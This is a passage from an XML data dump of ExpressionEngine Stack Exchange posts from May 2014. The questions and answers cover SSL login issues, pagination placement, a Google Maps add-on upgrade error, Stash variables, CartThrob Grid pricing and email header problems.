this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (empty($data))&#xA;{&#xA;  $data = array();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1090" LastActivityDate="2014-05-30T10:57:04.910" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22312" PostTypeId="1" AcceptedAnswerId="22351" CreationDate="2014-05-30T11:07:16.370" Score="1" ViewCount="148" Body="&lt;p&gt;I have recently installed an SSL certificate on a website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately when enabled, members can not stay logged in. After the initial login, it logs you out every time the page refreshes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea on what could be causing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using this plugin&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/https-support&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/https-support&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But i have also tried to achieve this using a rewrite in .htaccess&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2014-06-02T09:24:04.463" Title="SSL Certificate Breaking User Login - ExpressionEngine" Tags="|login|ssl|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22313" PostTypeId="2" ParentId="22303" CreationDate="2014-05-30T11:12:53.063" Score="1" Body="&lt;p&gt;Check that your file upload directory settings are correct (Content &gt; Files &gt; File Upload Preferences &gt; &quot;Edit&quot; link) and the folders on the server have their permissions set to 777. You can even try manually (via FTP) adding an image to the folder and then sync in EE to see if it's reading that directory properly.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2014-05-30T11:12:53.063" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22314" PostTypeId="1" CreationDate="2014-05-30T11:27:27.600" Score="0" ViewCount="109" Body="&lt;p&gt;I have a basic channel and I want the pagination to be at the top. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have got a pagination limit of 20 and output it like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if '{count}'=='20' OR '{absolute_count}'=='{total_results}'}&#xA;  {paginate} {pagination_links}{/paginate}&#xA; {/if}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is fine but the pagination appears &lt;strong&gt;after&lt;/strong&gt; the div. I really need it inside to control my responsive layout. Can this be achieved by adding a class to the pagination tag or some other way. It must be parsed last I guess which is causing the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FIXED - add the class inside the {paginate} tag I thought this would wrap around EVERY link but it just adds a wrapper&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{count}'=='20' OR '{absolute_count}'=='{total_results}'}&#xA;  {paginate} &amp;lt;div class=&quot;large-24 columns&quot;&amp;gt; {pagination_links}&amp;lt;/div&amp;gt;{/paginate}&amp;lt;/div&amp;gt;&#xA; {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2616" LastEditorUserId="2616" LastEditDate="2014-05-30T12:07:10.027" LastActivityDate="2014-05-30T12:07:10.027" Title="wrap pagination in class" Tags="|channel|pagination|parse|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22315" PostTypeId="2" ParentId="22314" CreationDate="2014-05-30T11:40:18.763" Score="0" Body="&lt;p&gt;If memory servers me correctly the EE pagination positioning is quite restrictive and thickle. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe i got round this in the past by letting EE render the pagination as it wants and then using jQuery to get the contents of the pagination DIV and insert it into the actual div i wanted it to appear in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So after the page/pagination is loaded. Run a function a bit like this....&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function movePagination() {&#xA;    $originalPagination = $(&quot;#originalPaginationContainingDiv&quot;).html();&#xA;    $(&quot;#destinationDivForPagination&quot;).html($originalPagination);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: I have not tested this. &lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2014-05-30T11:40:18.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22316" PostTypeId="2" ParentId="22314" CreationDate="2014-05-30T11:58:21.787" Score="2" Body="&lt;p&gt;The position of pagination is defined by the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/pagination.html#paginate&quot; rel=&quot;nofollow&quot;&gt;parameter paginate&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if it is set as &lt;code&gt;top&lt;/code&gt;, the pagination code will be removed before parsing and added back at the top of the parsing results;&lt;/li&gt;&#xA;&lt;li&gt;if it's set as &lt;code&gt;bottom&lt;/code&gt;, the pagination code will be added to the bottom of the results;&lt;/li&gt;&#xA;&lt;li&gt;set it as &lt;code&gt;both&lt;/code&gt;and it will be... Well, I got the idea;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;hidden&lt;/code&gt; doesn't show the pagination;&lt;/li&gt;&#xA;&lt;li&gt;if you want to choose where to show the pagination code, set the parameter as &lt;code&gt;inline&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;inline&lt;/code&gt; is available since &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/about/changelog.html#version-2-6-0&quot; rel=&quot;nofollow&quot;&gt;version 2.6&lt;/a&gt;, but a lot of people doesn't know about it yet. Even I never used it.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-05-30T11:58:21.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22317" PostTypeId="1" AcceptedAnswerId="22321" CreationDate="2014-05-30T13:12:44.507" Score="1" ViewCount="167" Body="&lt;p&gt;I'm updating a site from ExpressionEngine 2.1.1 to 2.8.1. The previous version of MX Google Maps was 1.0b I've installed version 1.5.3.140526&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exp_fieldtypes table shows version 1.0b installed but if I check the Fieldtypes page in ExpressionEngine it shows 1.5.3.140526 as the version. When I click on the fieldtype I get 2 PHP errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: call_user_func_array() expects parameter 1 to be a valid callback, class 'Mx_google_map_ft' does not have a method 'display_global_settings'&#xA;Filename: api/Api_channel_fields.php&#xA;Line Number: 397&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Cannot modify header information - headers already sent by (output started at /Users/Josh/Sites/website/webroot/system/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: core/Common.php&#xA;Line Number: 446&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="278" LastActivityDate="2014-05-30T18:48:06.573" Title="MX Google Maps fieldtype problem" Tags="|upgrade|updating|mx-google-map|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22319" PostTypeId="1" CreationDate="2014-05-30T17:30:12.667" Score="1" ViewCount="13" Body="&lt;p&gt;I'm using the default wiki theme and can't get file uploads to work from the Special:Uploads page. The form allows me to select a file, submit the form, (no error is thrown), but the file does not appear in the directory or the Special:Files page. I'm logged into EE as Super Admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The directory is writable from within CP. (It uses the same preferences as my other working directories). If I upload a file through the CP it still does not appear in Special:Files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.8.1&lt;/p&gt;&#xA;" OwnerUserId="3163" LastActivityDate="2014-05-30T17:30:12.667" Title="Uploads to wiki directory fail from form on Special:Uploads page" Tags="|file-uploads|wiki|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22320" PostTypeId="2" ParentId="22285" CreationDate="2014-05-30T17:56:07.653" Score="1" Body="&lt;p&gt;After working with EllisLab support on this issue, it turned out to be a rogue config item in the database for &quot;server_offset&quot; config item. It was set to -1140 for some reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They were kind enough to decode, unserialize, modify, re-serialize, and re-encode the variable for us and that fixed the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the response regarding the resolution from EE support:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve traced it down to an orphaned server_offset setting that is in your site preferences in the database of -1140. In 2.6.0 the UI for that setting was removed, but the config is still observed as there are rare situations where it’s necessary (server OS time permanently incorrect for instance). It became somewhat of a setting in the ether though without the UI, and without being in the config file. We’ve fixed this in 2.8.0, and it will extract the value from the db if it exists and place it in the config file. For some reason, it would seem that this installation had a server offset setting of -1140 prior to being updated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you are not able to update soon, I’ve just overridden that value in the config.php file with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$config[‘server_offset’] = ‘0’;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the times look correct now. After you run the 2.8.0 update down the road, though, it will extract that db value and overwrite that with -1140. At that point you can simply remove that setting entirely from your config file after the update. Make sense?&lt;/p&gt;&#xA;" OwnerUserId="1938" LastActivityDate="2014-05-30T17:56:07.653" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22321" PostTypeId="2" ParentId="22317" CreationDate="2014-05-30T18:48:06.573" Score="3" Body="&lt;p&gt;My apology - looks like with one of update I missed procedure for version &amp;lt;1.3.4. It is no more global settings in MX Google Map (most of them was replaced with ee config.php varibles). I will add this update function in next  build.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now you can just run next query&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update exp_fieldtypes SET has_global_settings = 'n' WHERE name = 'mx_google_map'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can do this directly in EE CP -&gt; tools -&gt; data -&gt; sql man&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-05-30T18:48:06.573" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22323" PostTypeId="2" ParentId="19684" CreationDate="2014-05-30T18:59:29.530" Score="1" Body="&lt;p&gt;I wanted something very similar - a list of related events (defined by an earlier created stash) that showed a chronological list of only the NEXT 'occurrence' of each event.  I saw this thread, but being new to PHP couldn't follow the example because I didn't know how to extrapolate all the $data variable to where I could build up the actual HTML I wanted... so in case anyone else in my shoes finds this later on, I wanted to share my code that hopefully explains well enough for a noob:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Create array to hold data from each related event against the Event ID --&amp;gt;&#xA;&amp;lt;?php $events = array(); ?&amp;gt;&#xA;{exp:calendar:cal&#xA;    date_range_start=&quot;today&quot;&#xA;    date_range_end=&quot;1 year&quot;&#xA;    pad_short_weeks=&quot;n&quot;&#xA;    enable=&quot;custom_fields&quot;&#xA;    event_id=&quot;{exp:stash:get name=&quot;stash_related_events&quot;}&quot;&#xA;    dynamic=&quot;no&quot;}&#xA;&#xA;    {events}&#xA;        &amp;lt;!-- Populate array with individual event details - this will include all occurrences, but we'll remove duplicates in PHP --&amp;gt;&#xA;        &amp;lt;?php $events['{event_id}'] = '{event_id}~~{event_title}~~{event_summary}~~{event_image:Medium}~~{event_location}~~{event_start_date format=&quot;%F %j, %Y&quot;}~~{event_start_date format=&quot;%g:%i%a&quot;}~~{event_end_date format=&quot;%F %j, %Y&quot;}~~{event_end_date format=&quot;%g:%i%a&quot;}'; ?&amp;gt;&#xA;    {/events}&#xA;&#xA;    &amp;lt;!-- Reverse order of array because they're backwards for some reason (??) --&amp;gt;&#xA;    &amp;lt;?php $events = array_reverse($events); ?&amp;gt;&#xA;&#xA;    &amp;lt;!-- Loop through each unique event_id in the array to get desired list --&amp;gt;&#xA;    &amp;lt;?php foreach($events as $event_id =&amp;gt; $event_data) :?&amp;gt;&#xA;&#xA;        &amp;lt;?php&#xA;            // Extrapolate data in the array to have usable variables using ~~ as the delimiter&#xA;            list($event_id, $title, $event_summary, $event_image, $event_location, $event_startDate, $event_startTime, $event_endDate, $event_endTime) = explode('~~',$event_data);&#xA;&#xA;            // Check for empty image&#xA;            if ($event_image == &quot;&quot;) { $event_image = &quot;../../images/uploads/eventImages/_Medium/event-default.jpg&quot;; }&#xA;&#xA;            // Format Date/Time entry&#xA;            $event_dateTime = &quot;&quot;;&#xA;            if ($event_startDate == $event_endDate){&#xA;                if ($event_startTime == &quot;12:00am&quot; &amp;amp;&amp;amp; $event_endTime==&quot;12:00pm&quot;){&#xA;                    $event_dateTime=&quot;All day &quot;.$event_startDate;&#xA;                } else {&#xA;                    $event_dateTime=$event_startDate.&quot; from &quot;.$event_startTime.&quot; to &quot;.$event_endTime;&#xA;                }&#xA;            } else {&#xA;                $event_dateTime=&quot;From &quot;.$event_startDate.&quot;, &quot;.$event_startTime.&quot; to &quot;.$event_endDate.&quot;, &quot;.$event_endTime;&#xA;            }&#xA;&#xA;            // We could build up HTML inside PHP using either syntax below...&#xA;            // echo &quot;&amp;lt;h2&amp;gt;&quot;.$title.&quot;&amp;lt;/h2&amp;gt;&quot;;&#xA;            // echo &quot;&amp;lt;h2&amp;gt;$title&amp;lt;/h2&amp;gt;&quot;;  Same as above&#xA;        ?&amp;gt;&#xA;&#xA;        &amp;lt;!-- But instead we'll build up HTML here and insert variables where necessary --&amp;gt;&#xA;        &amp;lt;div class=&quot;event item clearfix&quot;&amp;gt;&#xA;             &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;../../events/event/&amp;lt;?php echo $event_id ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $title ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;             &amp;lt;h4 class=&quot;eventDateTime&quot;&amp;gt;&amp;lt;?php echo $event_dateTime ?&amp;gt;&amp;lt;/h4&amp;gt;&#xA;             &amp;lt;div class=&quot;eventImage&quot;&amp;gt;&#xA;                &amp;lt;a href=&quot;../../events/event/&amp;lt;?php echo $event_id ?&amp;gt;&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php echo $event_image ?&amp;gt;&quot; alt=&quot;&amp;lt;?php echo $title ?&amp;gt;&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;             &amp;lt;/div&amp;gt;&#xA;             &amp;lt;p&amp;gt;Location: &amp;lt;?php echo $event_location ?&amp;gt;&amp;lt;/p&amp;gt; &#xA;             &amp;lt;p&amp;gt;Summary: &amp;lt;?php echo $event_summary ?&amp;gt;&amp;lt;p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps someone save the amount of time I spent on this!&lt;/p&gt;&#xA;" OwnerUserId="3113" LastActivityDate="2014-05-30T18:59:29.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22324" PostTypeId="1" CreationDate="2014-05-30T19:03:42.613" Score="1" ViewCount="217" Body="&lt;p&gt;I am trying to use the Grid fieldtype as a price modifier for Cartthrob. Documentation is lacking on this, it only describes Matrix. I have set it up like Matrix, but obviously change tags to Grid tags. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am also using the exp:cartthrob:multi_add_to_cart_form so we can add multiple options and quantities at the same time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can add multiple product options to the cart, but cannot get the price or the inventory as per the documentation for Matrix. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My product_options fieldnames are options_value, price, inventory, and I have mapped the inventory and price to my product_options field in Cartthrob, but adding to the cart states &quot;Product is out of stock&quot; for all options. If I remove the inventory mapping, I can add them to the cart but then the price is 0. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it seems I cannot map price and inventory to a grid field, like the docs say you can for Matrix. Does anyone know if this is possible? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is exp:cartthrob:multi_add_to_cart_form form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:multi_add_to_cart_form return=&quot;cart&quot; }&#xA;&#xA;{product_options}&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;entry_id[{product_options:count}]&quot; value=&quot;{entry_id}&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;item_options[{product_options:count}][product_options]&quot; value=&quot;{product_options:option_value}&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;quantity[{product_options:count}]&quot; value=&quot;{product_options:count}&quot;&amp;gt;&#xA;{/product_options}&#xA;&#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;Add To Cart&quot; /&amp;gt;&#xA;&#xA;{/exp:cartthrob:multi_add_to_cart_form} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We are using the latest CT version 2.5 and EE 2.7.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="381" LastEditorUserId="381" LastEditDate="2014-06-02T08:11:02.027" LastActivityDate="2014-07-02T14:56:34.323" Title="Can Grid be used as a Price Modifier in Cartthrob? I have problems mapping price and inventory" Tags="|cartthrob|grid|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22325" PostTypeId="1" AcceptedAnswerId="22326" CreationDate="2014-05-30T19:05:29.977" Score="1" ViewCount="93" Body="&lt;p&gt;I don't want to be forced to use Drupal. I would appreciate it if someone could shed some light. &lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2014-05-30T19:41:19.767" Title="Is it possible to use ExpressionEngine with an Oracle database?" Tags="|database|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22326" PostTypeId="2" ParentId="22325" CreationDate="2014-05-30T19:41:19.767" Score="2" Body="&lt;p&gt;Nope - ExpressionEngine requires MySQL or a compatible drop-in replacement.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-05-30T19:41:19.767" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22327" PostTypeId="1" AcceptedAnswerId="22336" CreationDate="2014-05-30T20:21:01.713" Score="3" ViewCount="177" Body="&lt;p&gt;Not sure if this is an EE or server issue, but EE will not send any emails to our company addresses, but it will to outside addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, our main site is autouplinktech.com. Emails sent from the EE Control Panel on that site arrive just fine in my personal gmail inbox, but no emails can be sent to our company accounts like name@autouplinktech.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have email debugging turned on, but I see no error messages at all, and in fact I get a success message on the CP after sending an email to one of our company addresses, but nothing ever arrives in the inbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="2348" LastActivityDate="2014-05-31T14:49:17.790" Title="EE Not Sending Emails to Addresses from Main Domain" Tags="|email|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22328" PostTypeId="2" ParentId="22035" CreationDate="2014-05-30T21:36:18.657" Score="1" Body="&lt;p&gt;Just had to re-install the CP default themes - no idea how they were lost - since a number of folders involved, it must have been something I did while sleepwalking?? Still, idiotic error message when the problem is a missing theme.&lt;/p&gt;&#xA;" OwnerUserId="114" LastActivityDate="2014-05-30T21:36:18.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22329" PostTypeId="1" AcceptedAnswerId="22335" CreationDate="2014-05-30T22:14:12.360" Score="1" ViewCount="269" Body="&lt;p&gt;I have the following code, and the stash variable doesn't seem to parse. I believe it's an issue with parse order. Apologies, this is the first time I've used stash. I'm trying to show a multiple entry page filtered by categories sent from a HTML form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&quot; method=&quot;post&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot; value=&quot;62&quot; name=&quot;recipe_type_categories[]&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot; value=&quot;63&quot; name=&quot;recipe_type_categories[]&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot; value=&quot;59&quot; name=&quot;recipe_type_categories[]&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot; value=&quot;64&quot; name=&quot;recipe_type_categories[]&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot; value=&quot;61&quot; name=&quot;recipe_type_categories[]&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot; value=&quot;60&quot; name=&quot;recipe_type_categories[]&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH]&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;GO!&quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;An array of category IDs are POSTed to the page, it then sets the ids to a stash variable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:stash:get name=&quot;recipe_type_categories&quot; dynamic=&quot;yes&quot; save=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My template looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;recipes&quot; dynamic=&quot;no&quot; &#xA;limit=&quot;18&quot; uncategorized_entries=&quot;no&quot; &#xA;disable=&quot;member_data|comments|category_fields&quot; &#xA;category=&quot;{exp:stash:recipe_type_categories}&quot; &#xA;status=&quot;not Closed&quot; paginate=&quot;both&quot;}&#xA;&#xA;{title}&#xA;&#xA;{paginate}&#xA;    {pagination_links}&#xA;        &amp;lt;span&amp;gt;page {current_page} of {total_pages}&amp;lt;/span&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;        {first_page}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-first&quot;&amp;gt;first&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/first_page}&#xA;&#xA;        {previous_page}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-previous&quot;&amp;gt;&amp;amp;lt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/previous_page}&#xA;&#xA;        {page}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-{pagination_page_number} {if current_page}active{/if}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/page}&#xA;&#xA;        {next_page}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-next&quot;&amp;gt;&amp;amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/next_page}&#xA;&#xA;        {last_page}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-last&quot;&amp;gt;last&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/last_page}&#xA;    &amp;lt;/ul&amp;gt;&#xA;    {/pagination_links}&#xA;{/paginate}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I see this in template debugging:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(0.012391 / 8.23MB) Tag: {exp:channel:entries channel=&quot;recipes&quot; dynamic=&quot;no&quot; limit=&quot;18&quot; uncategorized_entries=&quot;no&quot; disable=&quot;member_data|comments|category_fields&quot; category=&quot;{exp:stash:recipe_type_categories}&quot; status=&quot;not Closed&quot; paginate=&quot;both&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully someone can suggest a solution.&lt;/p&gt;&#xA;" OwnerUserId="1750" LastActivityDate="2014-06-01T10:31:31.420" Title="Stash set variable from POST variable and use in Entries Loop" Tags="|channel-entries|stash|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22330" PostTypeId="1" AcceptedAnswerId="24263" CreationDate="2014-05-30T23:04:05.147" Score="0" ViewCount="318" Body="&lt;p&gt;I have an online enquiry form that was working fine until last month when I updated ExpressionEngine from 2.5.3 to 2.7.3, and Freeform Pro from 4.0.10 to 4.1.5. Now my client has complained that the email notifications from their website's enquiry form are going into their spam folder because the Reply-to address on the emails is incorrect and they can't simply hit 'reply' in their mail app because it isn't going to the right address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the header information for the email notification I see the following:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Return-Path: &amp;lt; test@strangeemail.net.au &gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reply-To: &quot;test@correctemail.com&quot; &amp;lt; test@correctemail.com &gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From: &quot;Test Name&quot; &amp;lt; &quot;Test Name&quot;@strangeemail.net.au &gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;X-Sender: Test Name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;X-Mailer: ExpressionEngine 2.7.3d&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In the Notification Template I have:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;From Name: {name}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From Email: {email}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reply To Email: {email}&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I created {name} and {email} as text fields with Name set to 'Any' Field Content Type and Email is set to 'Email'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is the Return-Path generated and why is it incorrect? Occasionally my client isn't receiving the notification at all because the from email has the person's name in quotations before the domain name. The site's database is MySQL 5 and PHP 5.2. It looks like the incorrect domain name in the email address is something to do with the site host's mail, although they have said I must have entered something incorrectly in my notification template!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas/thoughts would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Karen&lt;/p&gt;&#xA;" OwnerUserId="285" LastActivityDate="2014-07-08T18:34:02.047" Title="Problem with &quot;Return-Path&quot; on Solspace Freeform Pro email notification" Tags="|solspace-freeform|solspace|email|notification|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22331" PostTypeId="2" ParentId="22330" CreationDate="2014-05-30T23:22:06.307" Score="0" Body="&lt;p&gt;Karen, make sure that your email address is set in EE; Admin &gt; Email configuration &gt; Return Email address for auto generated emails. AFAIK this is what is used to generate the 'From' header in outgoing emails. Without this emails look like spam. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think that the client's notifications are getting spam-flagged because of an incorrect Reply-to address, but rather because of an incorrect From address. &lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2014-05-30T23:22:06.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22332" PostTypeId="2" ParentId="154" CreationDate="2014-05-31T01:49:30.523" Score="1" Body="&lt;p&gt;The above answers mention the picture pollyfill this is now in some browsers: &lt;a href=&quot;http://filamentgroup.com/lab/picturefill_2_a.html&quot; rel=&quot;nofollow&quot;&gt;http://filamentgroup.com/lab/picturefill_2_a.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So set up your image manipulation and use the picture tag with srcset&lt;/p&gt;&#xA;" OwnerUserId="2732" LastActivityDate="2014-05-31T01:49:30.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22333" PostTypeId="2" ParentId="22293" CreationDate="2014-05-31T04:38:09.457" Score="1" Body="&lt;p&gt;As I said in my comments:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was still able to click on Admin&gt; General Configuration link which showed a very basic form, when I entered the correct path, I was once again told that I had to set the config.php to 666, which I did and everything is fine. Thanks guys - I am a true newbie to ExpressionEngine - thanks for being there&lt;/p&gt;&#xA;" OwnerUserId="3145" LastActivityDate="2014-05-31T04:38:09.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
